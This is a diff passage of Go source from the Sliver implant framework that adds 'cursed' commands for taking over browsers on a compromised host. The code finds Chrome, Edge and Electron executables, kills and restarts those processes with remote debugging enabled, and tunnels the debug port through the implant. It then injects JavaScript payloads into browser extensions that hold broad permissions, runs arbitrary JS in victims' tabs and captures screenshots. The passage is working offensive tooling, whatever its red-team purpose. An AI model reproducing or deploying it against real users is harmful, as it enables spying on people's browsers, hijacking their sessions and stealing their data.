"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
case "exit":
|
||||
return
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
})
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
return ls.GetExists(), nil
|
||||
}
|
||||
|
||||
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: electronExe,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: electronExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: electronExe,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
kill := ctx.Flags.Bool("kill")
|
||||
bindPort := ctx.Args.Int("bind-port")
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return
|
||||
}
|
||||
// Get cursed process
|
||||
var cursedProc *core.CursedProcess
|
||||
curses := core.CursedProcessBySessionID(session.ID)
|
||||
for _, curse := range curses {
|
||||
if curse.BindTCPPort == bindPort {
|
||||
cursedProc = curse
|
||||
}
|
||||
}
|
||||
if cursedProc == nil {
|
||||
con.PrintErrorf("Failed to find cursed process\n")
|
||||
return
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: int32(cursedProc.PID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
|
||||
quality := ctx.Flags.Int64("quality")
|
||||
if quality < 1 || quality > 100 {
|
||||
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
|
||||
return
|
||||
}
|
||||
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to take screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, data, 0644)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save screenshot: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Screenshot saved to %s\n", saveFile)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
cursedProcesses = append(cursedProcesses, []string{
|
||||
fmt.Sprintf("%d", curse.BindTCPPort),
|
||||
